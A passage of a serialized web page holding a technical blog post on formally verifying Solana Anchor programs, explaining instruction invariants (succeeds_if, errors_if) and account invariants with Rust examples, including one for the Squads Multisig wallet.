Context",{"type":23,"tag":134,"props":19769,"children":19770},{"style":179},[19771],{"type":28,"value":5262},{"type":23,"tag":134,"props":19773,"children":19774},{"style":597},[19775],{"type":28,"value":19657},{"type":23,"tag":134,"props":19777,"children":19778},{"style":179},[19779],{"type":28,"value":6088},{"type":23,"tag":134,"props":19781,"children":19782},{"style":162},[19783],{"type":28,"value":19784},"amount",{"type":23,"tag":134,"props":19786,"children":19787},{"style":168},[19788],{"type":28,"value":1697},{"type":23,"tag":134,"props":19790,"children":19791},{"style":597},[19792],{"type":28,"value":5316},{"type":23,"tag":134,"props":19794,"children":19795},{"style":179},[19796],{"type":28,"value":252},{"type":23,"tag":134,"props":19798,"children":19799},{"style":168},[19800],{"type":28,"value":13225},{"type":23,"tag":134,"props":19802,"children":19803},{"style":597},[19804],{"type":28,"value":13230},{"type":23,"tag":134,"props":19806,"children":19807},{"style":179},[19808],{"type":28,"value":19809},"\u003C()> {\n",{"type":23,"tag":134,"props":19811,"children":19812},{"class":136,"line":332},[19813],{"type":23,"tag":134,"props":19814,"children":19815},{"style":168},[19816],{"type":28,"value":19817},"    ...\n",{"type":23,"tag":134,"props":19819,"children":19820},{"class":136,"line":438},[19821],{"type":23,"tag":134,"props":19822,"children":19823},{"style":179},[19824],{"type":28,"value":1098},{"type":23,"tag":78,"props":19826,"children":19827},{},[19828],{"type":23,"tag":24,"props":19829,"children":19830},{},[19831,19832,19837,19839,19844,19846,19851],{"type":28,"value":16084},{"type":23,"tag":92,"props":19833,"children":19835},{"className":19834},[],[19836],{"type":28,"value":19639},{"type":28,"value":19838}," expression specifies ",{"type":23,"tag":55,"props":19840,"children":19841},{},[19842],{"type":28,"value":19843},"succifient",{"type":28,"value":19845}," but not ",{"type":23,"tag":55,"props":19847,"children":19848},{},[19849],{"type":28,"value":19850},"necessary",{"type":28,"value":19852}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":18268,"props":19854,"children":19855},{},[],{"type":23,"tag":24,"props":19857,"children":19858},{},[19859,19861,19866],{"type":28,"value":19860},"Another example is that for ",{"type":23,"tag":55,"props":19862,"children":19863},{},[19864],{"type":28,"value":19865},"crank",{"type":28,"value":19867}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":87,"props":19869,"children":19871},{"code":19870,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[19872],{"type":23,"tag":92,"props":19873,"children":19874},{"__ignoreMap":7},[19875,19883,19937,19944],{"type":23,"tag":134,"props":19876,"children":19877},{"class":136,"line":137},[19878],{"type":23,"tag":134,"props":19879,"children":19880},{"style":179},[19881],{"type":28,"value":19882},"#[succeeds_if(true)]\n",{"type":23,"tag":134,"props":19884,"children":19885},{"class":136,"line":147},[19886,19890,19895,19899,19903,19907,19911,19915,19920,19925,19929,19933],{"type":23,"tag":134,"props":19887,"children":19888},{"style":151},[19889],{"type":28,"value":19744},{"type":23,"tag":134,"props":19891,"children":19892},{"style":264},[19893],{"type":28,"value":19894}," my_crank",{"type":23,"tag":134,"props":19896,"children":19897},{"style":179},[19898],{"type":28,"value":272},{"type":23,"tag":134,"props":19900,"children":19901},{"style":162},[19902],{"type":28,"value":19758},{"type":23,"tag":134,"props":19904,"children":19905},{"style":168},[19906],{"type":28,"value":1697},{"type":23,"tag":134,"props":19908,"children":19909},{"style":597},[19910],{"type":28,"value":19767},{"type":23,"tag":134,"props":19912,"children":19913},{"style":179},[19914],{"type":28,"value":5262},{"type":23,"tag":134,"props":19916,"children":19917},{"style":597},[19918],{"type":28,"value":19919},"Crank",{"type":23,"tag":134,"props":19921,"children":19922},{"style":179},[19923],{"type":28,"value":19924},">) ",{"type":23,"tag":134,"props":19926,"children":19927},{"style":168},[19928],{"type":28,"value":13225},{"type":23,"tag":134,"props":19930,"children":19931},{"style":597},[19932],{"type":28,"value":13230},{"type":23,"tag":134,"props":19934,"children":19935},{"style":179},[19936],{"type":28,"value":19809},{"type":23,"tag":134,"props":19938,"children":19939},{"class":136,"line":185},[19940],{"type":23,"tag":134,"props":19941,"children":19942},{"style":168},[19943],{"type":28,"value":19817},{"type":23,"tag":134,"props":19945,"children":19946},{"class":136,"line":221},[19947],{"type":23,"tag":134,"props":19948,"children":19949},{"style":179},[19950],{"type":28,"value":1098},{"type":23,"tag":24,"props":19952,"children":19953},{},[19954,19956,19960,19962,19968],{"type":28,"value":19955},"With this invariant, you could prove that the function ",{"type":23,"tag":55,"props":19957,"children":19958},{},[19959],{"type":28,"value":12561},{"type":28,"value":19961}," returns ",{"type":23,"tag":92,"props":19963,"children":19965},{"className":19964},[],[19966],{"type":28,"value":19967},"Ok",{"type":28,"value":19969},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":18268,"props":19971,"children":19972},{},[],{"type":23,"tag":24,"props":19974,"children":19975},{},[19976,19978,19983,19984,19989,19991,19996,19998,20003,20005,20010],{"type":28,"value":19977},"Note that ",{"type":23,"tag":92,"props":19979,"children":19981},{"className":19980},[],[19982],{"type":28,"value":19632},{"type":28,"value":10458},{"type":23,"tag":92,"props":19985,"children":19987},{"className":19986},[],[19988],{"type":28,"value":19639},{"type":28,"value":19990}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":92,"props":19992,"children":19994},{"className":19993},[],[19995],{"type":28,"value":19632},{"type":28,"value":19997}," is not satisfied and a function may fail even if ",{"type":23,"tag":92,"props":19999,"children":20001},{"className":20000},[],[20002],{"type":28,"value":19639},{"type":28,"value":20004}," is not satisfied. If you want to prove the ",{"type":23,"tag":55,"props":20006,"children":20007},{},[20008],{"type":28,"value":20009},"exact condition",{"type":28,"value":20011}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":87,"props":20013,"children":20015},{"code":20014,"language":127,"meta":7,"className":128,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[20016],{"type":23,"tag":92,"props":20017,"children":20018},{"__ignoreMap":7},[20019,20063,20070,20087,20113,20165,20172],{"type":23,"tag":134,"props":20020,"children":20021},{"class":136,"line":137},[20022,20026,20031,20035,20039,20043,20047,20051,20055,20059],{"type":23,"tag":134,"props":20023,"children":20024},{"style":151},[20025],{"type":28,"value":19744},{"type":23,"tag":134,"props":20027,"children":20028},{"style":264},[20029],{"type":28,"value":20030}," my_invariant",{"type":23,"tag":134,"props":20032,"children":20033},{"style":179},[20034],{"type":28,"value":272},{"type":23,"tag":134,"props":20036,"children":20037},{"style":168},[20038],{"type":28,"value":9054},{"type":23,"tag":134,"props":20040,"children":20041},{"style":179},[20042],{"type":28,"value":252},{"type":23,"tag":134,"props":20044,"children":20045},{"style":168},[20046],{"type":28,"value":13225},{"type":23,"tag":134,"props":20048,"children":20049},{"style":597},[20050],{"type":28,"value":11517},{"type":23,"tag":134,"props":20052,"children":20053},{"style":179},[20054],{"type":28,"value":9049},{"type":23,"tag":134,"props":20056,"children":20057},{"style":168},[20058],{"type":28,"value":9054},{"type":23,"tag":134,"props":20060,"children":20061},{"style":179},[20062],{"type":28,"value":9059},{"type":23,"tag":134,"props":20064,"children":20065},{"class":136,"line":147},[20066],{"type":23,"tag":134,"props":20067,"children":20068},{"emptyLinePlaceholder":15},[20069],{"type":28,"value":865},{"type":23,"tag":134,"props":20071,"children":20072},{"class":136,"line":185},[20073,20078,20082],{"type":23,"tag":134,"props":20074,"children":20075},{"style":179},[20076],{"type":28,"value":20077},"#[succeeds_if(my_invariant(",{"type":23,"tag":134,"props":20079,"children":20080},{"style":168},[20081],{"type":28,"value":9054},{"type":23,"tag":134,"props":20083,"children":20084},{"style":179},[20085],{"type":28,"value":20086},"))]\n",{"type":23,"tag":134,"props":20088,"children":20089},{"class":136,"line":221},[20090,20095,20100,20105,20109],{"type":23,"tag":134,"props":20091,"children":20092},{"style":179},[20093],{"type":28,"value":20094},"#[errors_if(",{"type":23,"tag":134,"props":20096,"children":20097},{"style":168},[20098],{"type":28,"value":20099},"!",{"type":23,"tag":134,"props":20101,"children":20102},{"style":179},[20103],{"type":28,"value":20104},"my_invariant(",{"type":23,"tag":134,"props":20106,"children":20107},{"style":168},[20108],{"type":28,"value":9054},{"type":23,"tag":134,"props":20110,"children":20111},{"style":179},[20112],{"type":28,"value":20086},{"type":23,"tag":134,"props":20114,"children":20115},{"class":136,"line":332},[20116,20120,20125,20129,20133,20137,20141,20145,20149,20153,20157,20161],{"type":23,"tag":134,"props":20117,"children":20118},{"style":151},[20119],{"type":28,"value":19744},{"type":23,"tag":134,"props":20121,"children":20122},{"style":264},[20123],{"type":28,"value":20124}," my_instruction",{"type":23,"tag":134,"props":20126,"children":20127},{"style":179},[20128],{"type":28,"value":272},{"type":23,"tag":134,"props":20130,"children":20131},{"style":162},[20132],{"type":28,"value":19758},{"type":23,"tag":134,"props":20134,"children":20135},{"style":168},[20136],{"type":28,"value":1697},{"type":23,"tag":134,"props":20138,"children":20139},{"style":597},[20140],{"type":28,"value":19767},{"type":23,"tag":134,"props":20142,"children":20143},{"style":179},[20144],{"type":28,"value":5262},{"type":23,"tag":134,"props":20146,"children":20147},{"style":168},[20148],{"type":28,"value":9054},{"type":23,"tag":134,"props":20150,"children":20151},{"style":179},[20152],{"type":28,"value":19924},{"type":23,"tag":134,"props":20154,"children":20155},{"style":168},[20156],{"type":28,"value":13225},{"type":23,"tag":134,"props":20158,"children":20159},{"style":597},[20160],{"type":28,"value":13230},{"type":23,"tag":134,"props":20162,"children":20163},{"style":179},[20164],{"type":28,"value":19809},{"type":23,"tag":134,"props":20166,"children":20167},{"class":136,"line":438},[20168],{"type":23,"tag":134,"props":20169,"children":20170},{"style":168},[20171],{"type":28,"value":19817},{"type":23,"tag":134,"props":20173,"children":20174},{"class":136,"line":466},[20175],{"type":23,"tag":134,"props":20176,"children":20177},{"style":179},[20178],{"type":28,"value":1098},{"type":23,"tag":24,"props":20180,"children":20181},{},[20182],{"type":28,"value":20183},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":18368,"props":20185,"children":20187},{"id":20186},"account-invariants",[20188],{"type":28,"value":20189},"Account Invariants",{"type":23,"tag":24,"props":20191,"children":20192},{},[20193,20195,20200],{"type":28,"value":20194},"The other type of invariant is an ",{"type":23,"tag":2532,"props":20196,"children":20197},{},[20198],{"type":28,"value":20199},"Account Invariant",{"type":28,"value":20201},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":20203,"children":20204},{},[20205,20207,20212,20213,20219],{"type":28,"value":20206},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":92,"props":20208,"children":20210},{"className":20209},[],[20211],{"type":28,"value":914},{"type":28,"value":12601},{"type":23,"tag":92,"props":20214,"children":20216},{"className":20215},[],[20217],{"type":28,"value":20218},"init",{"type":28,"value":20220},").",{"type":23,"tag":24,"props":20222,"children":20223},{},[20224,20226,20232],{"type":28,"value":20225},"For example, given a mock ",{"type":23,"tag":92,"props":20227,"children":20229},{"className":20228},[],[20230],{"type":28,"value":20231},"UserStatement",{"type":28,"value":20233}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":87,"props":20235,"children":20237},{"code":20236,"language":127,"meta":7,"className":128,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[20238],{"type":23,"tag":92,"props":20239,"children":20240},{"__ignoreMap":7},[20241,20249,20257,20291,20298,20314,20340,20364,20388],{"type":23,"tag":134,"props":20242,"children":20243},{"class":136,"line":137},[20244],{"type":23,"tag":134,"props":20245,"children":20246},{"style":179},[20247],{"type":28,"value":20248},"#[account]\n",{"type":23,"tag":134,"props":20250,"children":20251},{"class":136,"line":147},[20252],{"type":23,"tag":134,"props":20253,"children":20254},{"style":179},[20255],{"type":28,"value":20256},"#[invariant(\n",{"type":23,"tag":134,"props":20258,"children":20259},{"class":136,"line":185},[20260,20265,20269,20274,20278,20282,20286],{"type":23,"tag":134,"props":20261,"children":20262},{"style":179},[20263],{"type":28,"value":20264},"    self",{"type":23,"tag":134,"props":20266,"children":20267},{"style":168},[20268],{"type":28,"value":720},{"type":23,"tag":134,"props":20270,"children":20271},{"style":179},[20272],{"type":28,"value":20273},"assets ",{"type":23,"tag":134,"props":20275,"children":20276},{"style":168},[20277],{"type":28,"value":9408},{"type":23,"tag":134,"props":20279,"children":20280},{"style":179},[20281],{"type":28,"value":13265},{"type":23,"tag":134,"props":20283,"children":20284},{"style":168},[20285],{"type":28,"value":720},{"type":23,"tag":134,"props":20287,"children":20288},{"style":179},[20289],{"type":28,"value":20290},"liabilities\n",{"type":23,"tag":134,"props":20292,"children":20293},{"class":136,"line":221},[20294],{"type":23,"tag":134,"props":20295,"children":20296},{"style":179},[20297],{"type":28,"value":19736},{"type":23,"tag":134,"props":20299,"children":20300},{"class":136,"line":332},[20301,20305,20310],{"type":23,"tag":134,"props":20302,"children":20303},{"style":151},[20304],{"type":28,"value":8864},{"type":23,"tag":134,"props":20306,"children":20307},{"style":597},[20308],{"type":28,"value":20309}," UserStatement",{"type":23,"tag":134,"props":20311,"children":20312},{"style":179},[20313],{"type":28,"value":463},{"type":23,"tag":134,"props":20315,"children":20316},{"class":136,"line":438},[20317,20322,20327,20331,20336],{"type":23,"tag":134,"props":20318,"children":20319},{"style":151},[20320],{"type":28,"value":20321},"    pub",{"type":23,"tag":134,"props":20323,"children":20324},{"style":162},[20325],{"type":28,"value":20326}," owner",{"type":23,"tag":134,"props":20328,"children":20329},{"style":168},[20330],{"type":28,"value":1697},{"type":23,"tag":134,"props":20332,"children":20333},{"style":597},[20334],{"type":28,"value":20335}," Pubkey",{"type":23,"tag":134,"props":20337,"children":20338},{"style":179},[20339],{"type":28,"value":687},{"type":23,"tag":134,"props":20341,"children":20342},{"class":136,"line":466},[20343,20347,20352,20356,20360],{"type":23,"tag":134,"props":20344,"children":20345},{"style":151},[20346],{"type":28,"value":20321},{"type":23,"tag":134,"props":20348,"children":20349},{"style":162},[20350],{"type":28,"value":20351}," assets",{"type":23,"tag":134,"props":20353,"children":20354},{"style":168},[20355],{"type":28,"value":1697},{"type":23,"tag":134,"props":20357,"children":20358},{"style":597},[20359],{"type":28,"value":5316},{"type":23,"tag":134,"props":20361,"children":20362},{"style":179},[20363],{"type":28,"value":687},{"type":23,"tag":134,"props":20365,"children":20366},{"class":136,"line":479},[20367,20371,20376,20380,20384],{"type":23,"tag":134,"props":20368,"children":20369},{"style":151},[20370],{"type":28,"value":20321},{"type":23,"tag":134,"props":20372,"children":20373},{"style":162},[20374],{"type":28,"value":20375}," liabilities",{"type":23,"tag":134,"props":20377,"children":20378},{"style":168},[20379],{"type":28,"value":1697},{"type":23,"tag":134,"props":20381,"children":20382},{"style":597},[20383],{"type":28,"value":5316},{"type":23,"tag":134,"props":20385,"children":20386},{"style":179},[20387],{"type":28,"value":687},{"type":23,"tag":134,"props":20389,"children":20390},{"class":136,"line":497},[20391],{"type":23,"tag":134,"props":20392,"children":20393},{"style":179},[20394],{"type":28,"value":1098},{"type":23,"tag":24,"props":20396,"children":20397},{},[20398,20400,20405],{"type":28,"value":20399},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":92,"props":20401,"children":20403},{"className":20402},[],[20404],{"type":28,"value":20231},{"type":28,"value":20406}," is created or modified.",{"type":23,"tag":24,"props":20408,"children":20409},{},[20410,20412,20418],{"type":28,"value":20411},"In another example, we developed the following invariant for the ",{"type":23,"tag":31,"props":20413,"children":20415},{"href":18299,"rel":20414},[35],[20416],{"type":28,"value":20417},"Squads Multisig",{"type":28,"value":20419}," wallet account:",{"type":23,"tag":87,"props":20421,"children":20423},{"code":20422,"language":127,"meta":7,"className":128,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[20424],{"type":23,"tag":92,"props":20425,"children":20426},{"__ignoreMap":7},[20427,20434,20441,20471,20530,20559,20611,20618,20639,20669,20699,20729,20758,20788,20818,20847,20887],{"type":23,"tag":134,"props":20428,"children":20429},{"class":136,"line":137},[20430],{"type":23,"tag":134,"props":20431,"children":20432},{"style":179},[20433],{"type":28,"value":20248},{"type":23,"tag":134,"props":20435,"children":20436},{"class":136,"line":147},[20437],{"type":23,"tag":134,"props":20438,"children":20439},{"style":179},[20440],{"type":28,"value":20256},{"type":23,"tag":134,"props":20442,"children":20443},{"class":136,"line":185},[20444,20449,20453,20457,20462,20466],{"type":23,"tag":134,"props":20445,"children":20446},{"style":168},[20447],{"type":28,"value":20448},"    !",{"type":23,"tag":134,"props":20450,"children":20451},{"style":179},[20452],{"type":28,"value":13181},{"type":23,"tag":134,"props":20454,"children":20455},{"style":168},[20456],{"type":28,"value":720},{"type":23,"tag":134,"props":20458,"children":20459},{"style":179},[20460],{"type":28,"value":20461},"keys",{"type":23,"tag":134,"props":20463,"children":20464},{"style":168},[20465],{"type":28,"value":720},{"type":23,"tag":134,"props":20467,"children":20468},{"style":179},[20469],{"type":28,"value":20470},"is_empty()\n",{"type":23,"tag":134,"props":20472,"children":20473},{"class":136,"line":221},[20474,20478,20483,20487,20491,20495,20500,20504,20509,20513,20518,20522,20526],{"type":23,"tag":134,"props":20475,"children":20476},{"style":168},[20477],{"type":28,"value":15091},{"type":23,"tag":134,"props":20479,"children":20480},{"style":179},[20481],{"type":28,"value":20482}," (self",{"type":23,"tag":134,"props":20484,"children":20485},{"style":168},[20486],{"type":28,"value":720},{"type":23,"tag":134,"props":20488,"children":20489},{"style":179},[20490],{"type":28,"value":20461},{"type":23,"tag":134,"props":20492,"children":20493},{"style":168},[20494],{"type":28,"value":720},{"type":23,"tag":134,"props":20496,"children":20497},{"style":179},[20498],{"type":28,"value":20499},"len() ",{"type":23,"tag":134,"props":20501,"children":20502},{"style":168},[20503],{"type":28,"value":18891},{"type":23,"tag":134,"props":20505,"children":20506},{"style":597},[20507],{"type":28,"value":20508}," u16",{"type":23,"tag":134,"props":20510,"children":20511},{"style":168},[20512],{"type":28,"value":660},{"type":23,"tag":134,"props":20514,"children":20515},{"style":597},[20516],{"type":28,"value":20517},"MAX",{"type":23,"tag":134,"props":20519,"children":20520},{"style":151},[20521],{"type":28,"value":8288},{"type":23,"tag":134,"props":20523,"children":20524},{"style":597},[20525],{"type":28,"value":13199},{"type":23,"tag":134,"props":20527,"children":20528},{"style":179},[20529],{"type":28,"value":329},{"type":23,"tag":134,"props":20531,"children":20532},{"class":136,"line":332},[20533,20537,20541,20545,20550,20554],{"type":23,"tag":134,"props":20534,"children":20535},{"style":168},[20536],{"type":28,"value":15091},{"type":23,"tag":134,"props":20538,"children":20539},{"style":179},[20540],{"type":28,"value":20482},{"type":23,"tag":134,"props":20542,"children":20543},{"style":168},[20544],{"type":28,"value":720},{"type":23,"tag":134,"props":20546,"children":20547},{"style":179},[20548],{"type":28,"value":20549},"threshold ",{"type":23,"tag":134,"props":20551,"children":20552},{"style":168},[20553],{"type":28,"value":9408},{"type":23,"tag":134,"props":20555,"children":20556},{"style":179},[20557],{"type":28,"value":20558}," 1)\n",{"type":23,"tag":134,"props":20560,"children":20561},{"class":136,"line":438},[20562,20566,20570,20574,20578,20582,20586,20590,20594,20598,20602,20606],{"type":23,"tag":134,"props":20563,"children":20564},{"style":168},[20565],{"type":28,"value":15091},{"type":23,"tag":134,"props":20567,"children":20568},{"style":179},[20569],{"type":28,"value":20482},{"type":23,"tag":134,"props":20571,"children":20572},{"style":168},[20573],{"type":28,"value":720},{"type":23,"tag":134,"props":20575,"children":20576},{"style":179},[20577],{"type":28,"value":20549},{"type":23,"tag":134,"props":20579,"children":20580},{"style":151},[20581],{"type":28,"value":8302},{"type":23,"tag":134,"props":20583,"children":20584},{"style":597},[20585],{"type":28,"value":13199},{"type":23,"tag":134,"props":20587,"children":20588},{"style":168},[20589],{"type":28,"value":7656},{"type":23,"tag":134,"props":20591,"children":20592},{"style":179},[20593],{"type":28,"value":13265},{"type":23,"tag":134,"props":20595,"children":20596},{"style":168},[20597],{"type":28,"value":720},{"type":23,"tag":134,"props":20599,"children":20600},{"style":179},[20601],{"type":28,"value":20461},{"type":23,"tag":134,"props":20603,"children":20604},{"style":168},[20605],{"type":28,"value":720},{"type":23,"tag":134,"props":20607,"children":20608},{"style":179},[20609],{"type":28,"value":20610},"len())\n",{"type":23,"tag":134,"props":20612,"children":20613},{"class":136,"line":466},[20614],{"type":23,"tag":134,"props":20615,"children":20616},{"style":179},[20617],{"type":28,"value":19736},{"type":23,"tag":134,"props":20619,"children":20620},{"class":136,"line":479},[20621,20625,20630,20635],{"type":23,"tag":134,"props":20622,"children":20623},{"style":151},[20624],{"type":28,"value":13158},{"type":23,"tag":134,"props":20626,"children":20627},{"style":151},[20628],{"type":28,"value":20629}," struct",{"type":23,"tag":134,"props":20631,"children":20632},{"style":597},[20633],{"type":28,"value":20634}," Ms",{"type":23,"tag":134,"props":20636,"children":20637},{"style":179},[20638],{"type":28,"value":463},{"type":23,"tag":134,"props":20640,"children":20641},{"class":136,"line":497},[20642,20646,20651,20655,20659,20664],{"type":23,"tag":134,"props":20643,"children":20644},{"style":151},[20645],{"type":28,"value":20321},{"type":23,"tag":134,"props":20647,"children":20648},{"style":162},[20649],{"type":28,"value":20650}," threshold",{"type":23,"tag":134,"props":20652,"children":20653},{"style":168},[20654],{"type":28,"value":1697},{"type":23,"tag":134,"props":20656,"children":20657},{"style":597},[20658],{"type":28,"value":20508},{"type":23,"tag":134,"props":20660,"children":20661},{"style":179},[20662],{"type":28,"value":20663},",               ",{"type":23,"tag":134,"props":20665,"children":20666},{"style":141},[20667],{"type":28,"value":20668},"// threshold for signatures\n",{"type":23,"tag":134,"props":20670,"children":20671},{"class":136,"line":518},[20672,20676,20681,20685,20689,20694],{"type":23,"tag":134,"props":20673,"children":20674},{"style":151},[20675],{"type":28,"value":20321},{"type":23,"tag":134,"props":20677,"children":20678},{"style":162},[20679],{"type":28,"value":20680}," authority_index",{"type":23,"tag":134,"props":20682,"children":20683},{"style":168},[20684],{"type":28,"value":1697},{"type":23,"tag":134,"props":20686,"children":20687},{"style":597},[20688],{"type":28,"value":20508},{"type":23,"tag":134,"props":20690,"children":20691},{"style":179},[20692],{"type":28,"value":20693},",         ",{"type":23,"tag":134,"props":20695,"children":20696},{"style":141},[20697],{"type":28,"value":20698},"// index to seed other authorities under this multisig\n",{"type":23,"tag":134,"props":20700,"children":20701},{"class":136,"line":527},[20702,20706,20711,20715,20719,20724],{"type":23,"tag":134,"props":20703,"children":20704},{"style":151},[20705],{"type":28,"value":20321},{"type":23,"tag":134,"props":20707,"children":20708},{"style":162},[20709],{"type":28,"value":20710}," transaction_index",{"type":23,"tag":134,"props":20712,"children":20713},{"style":168},[20714],{"type":28,"value":1697},{"type":23,"tag":134,"props":20716,"children":20717},{"style":597},[20718],{"type":28,"value":17022},{"type":23,"tag":134,"props":20720,"children":20721},{"style":179},[20722],{"type":28,"value":20723},",       ",{"type":23,"tag":134,"props":20725,"children":20726},{"style":141},[20727],{"type":28,"value":20728},"// look up and seed reference for transactions\n",{"type":23,"tag":134,"props":20730,"children":20731},{"class":136,"line":780},[20732,20736,20741,20745,20749,20753],{"type":23,"tag":134,"props":20733,"children":20734},{"style":151},[20735],{"type":28,"value":20321},{"type":23,"tag":134,"props":20737,"children":20738},{"style":162},[20739],{"type":28,"value":20740}," ms_change_index",{"type":23,"tag":134,"props":20742,"children":20743},{"style":168},[20744],{"type":28,"value":1697},{"type":23,"tag":134,"props":20746,"children":20747},{"style":597},[20748],{"type":28,"value":17022},{"type":23,"tag":134,"props":20750,"children":20751},{"style":179},[20752],{"type":28,"value":20693},{"type":23,"tag":134,"props":20754,"children":20755},{"style":141},[20756],{"type":28,"value":20757},"// the last executed/closed transaction\n",{"type":23,"tag":134,"props":20759,"children":20760},{"class":136,"line":797},[20761,20765,20770,20774,20778,20783],{"type":23,"tag":134,"props":20762,"children":20763},{"style":151},[20764],{"type":28,"value":20321},{"type":23,"tag":134,"props":20766,"children":20767},{"style":162},[20768],{"type":28,"value":20769}," bump",{"type":23,"tag":134,"props":20771,"children":20772},{"style":168},[20773],{"type":28,"value":1697},{"type":23,"tag":134,"props":20775,"children":20776},{"style":597},[20777],{"type":28,"value":14102},{"type":23,"tag":134,"props":20779,"children":20780},{"style":179},[20781],{"type":28,"value":20782},",                     ",{"type":23,"tag":134,"props":20784,"children":20785},{"style":141},[20786],{"type":28,"value":20787},"// bump for the multisig seed\n",{"type":23,"tag":134,"props":20789,"children":20790},{"class":136,"line":814},[20791,20795,20800,20804,20808,20813],{"type":23,"tag":134,"props":20792,"children":20793},{"style":151},[20794],{"type":28,"value":20321},{"type":23,"tag":134,"props":20796,"children":20797},{"style":162},[20798],{"type":28,"value":20799}," create_key",{"type":23,"tag":134,"props":20801,"children":20802},{"style":168},[20803],{"type":28,"value":1697},{"type":23,"tag":134,"props":20805,"children":20806},{"style":597},[20807],{"type":28,"value":20335},{"type":23,"tag":134,"props":20809,"children":20810},{"style":179},[20811],{"type":28,"value":20812},",           ",{"type":23,"tag":134,"props":20814,"children":20815},{"style":141},[20816],{"type":28,"value":20817},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":134,"props":20819,"children":20820},{"class":136,"line":827},[20821,20825,20830,20834,20838,20842],{"type":23,"tag":134,"props":20822,"children":20823},{"style":151},[20824],{"type":28,"value":20321},{"type":23,"tag":134,"props":20826,"children":20827},{"style":162},[20828],{"type":28,"value":20829}," allow_external_execute",{"type":23,"tag":134,"props":20831,"children":20832},{"style":168},[20833],{"type":28,"value":1697},{"type":23,"tag":134,"props":20835,"children":20836},{"style":597},[20837],{"type":28,"value":11517},{"type":23,"tag":134,"props":20839,"children":20840},{"style":179},[20841],{"type":28,"value":242},{"type":23,"tag":134,"props":20843,"children":20844},{"style":141},[20845],{"type":28,"value":20846},"// allow non-member keys to execute txs\n",{"type":23,"tag":134,"props":20848,"children":20849},{"class":136,"line":836},[20850,20854,20859,20863,20868,20872,20877,20882],{"type":23,"tag":134,"props":20851,"children":20852},{"style":151},[20853],{"type":28,"value":20321},{"type":23,"tag":134,"props":20855,"children":20856},{"style":162},[20857],{"type":28,"value":20858}," keys",{"type":23,"tag":134,"props":20860,"children":20861},{"style":168},[20862],{"type":28,"value":1697},{"type":23,"tag":134,"props":20864,"children":20865},{"style":597},[20866],{"type":28,"value":20867}," Vec",{"type":23,"tag":134,"props":20869,"children":20870},{"style":179},[20871],{"type":28,"value":5262},{"type":23,"tag":134,"props":20873,"children":20874},{"style":597},[20875],{"type":28,"value":20876},"Pubkey",{"type":23,"tag":134,"props":20878,"children":20879},{"style":179},[20880],{"type":28,"value":20881},">,            ",{"type":23,"tag":134,"props":20883,"children":20884},{"style":141},[20885],{"type":28,"value":20886},"// keys of the members\n",{"type":23,"tag":134,"props":20888,"children":20889},{"class":136,"line":859},[20890],{"type":23,"tag":134,"props":20891,"children":20892},{"style":179},[20893],{"type":28,"value":1098},{"type":23,"tag":24,"props":20895,"children":20896},{},[20897],{"type":28,"value":20898},"Here we are verifying multiple things at once:",{"type":23,"tag":16158,"props":20900,"children":20901},{},[20902,20913,20924,20935],{"type":23,"tag":4894,"props":20903,"children":20904},{},[20905,20911],{"type":23,"tag":92,"props":20906,"children":20908},{"className":20907},[],[20909],{"type":28,"value":20910},"!self.keys.is_empty()",{"type":28,"value":20912}," : ensure there is at least one member",{"type":23,"tag":4894,"props":20914,"children":20915},{},[20916,20922],{"type":23,"tag":92,"props":20917,"children":20919},{"className":20918},[],[20920],{"type":28,"value":20921},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":20923}," : set an upper limit of 65535 members",{"type":23,"tag":4894,"props":20925,"children":20926},{},[20927,20933],{"type":23,"tag":92,"props":20928,"children":20930},{"className":20929},[],[20931],{"type":28,"value":20932},"self.threshold >= 1",{"type":28,"value":20934}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":4894,"props":20936,"children":20937},{},[20938,20944],{"type":23,"tag":92,"props":20939,"children":20941},{"className":20940},[],[20942],{"type":28,"value":20943},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":20945}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":61,"props":20947,"children":20949},{"id":20948},"verification-how-do-we-check-that-our-model-is-correct",[20950],{"type":28,"value":20951},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":20953,"children":20954},{},[20955,20957,20961,20963,20968],{"type":28,"value":20956},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":55,"props":20958,"children":20959},{},[20960],{"type":28,"value":19446},{"type":28,"value":20962}," on which we can run 